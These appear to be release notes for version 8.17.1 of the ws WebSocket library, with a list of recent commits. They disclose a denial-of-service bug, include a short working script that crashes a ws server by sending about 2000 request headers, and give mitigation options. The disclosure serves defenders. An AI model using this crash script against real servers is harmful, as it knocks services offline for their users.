Sourced from ws's releases.
8.17.1
Bug fixes
- Fixed a DoS vulnerability (#2231).
A request with a number of headers exceeding the[
server.maxHeadersCount][] threshold could be used to crash a ws server.const http = require('http'); const WebSocket = require('ws');const wss = new WebSocket.Server({ port: 0 }, function () { const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split(''); const headers = {}; let count = 0;
for (let i = 0; i < chars.length; i++) { if (count === 2000) break;
for (let j = 0; j < chars.length; j++) { const key = chars[i] + chars[j]; headers[key] = 'x'; if (++count === 2000) break; }}
headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13';
const request = http.request({ headers: headers, host: '127.0.0.1', port: wss.address().port });
request.end(); });
The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.
In vulnerable versions of ws, the issue can be mitigated in the following ways:
- Reduce the maximum allowed length of the request headers using the [
--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than theserver.maxHeadersCountlimit can be sent.
... (truncated)
3c56601
[dist] 8.17.1e55e510
[security] Fix crash when the Upgrade header cannot be read (#2231)6a00029
[test] Increase code coverageddfe4a8
[perf] Reduce the amount of crypto.randomFillSync()
callsb73b118
[dist] 8.17.029694a5
[test] Use the highWaterMark variable934c9d6
[ci] Test on node 221817bac
[ci] Do not test on node 2196c9b3d
[major] Flip the default value of allowSynchronousEvents
(#2221)e5f32c7
[fix] Emit at most one event per event loop iteration (#2218)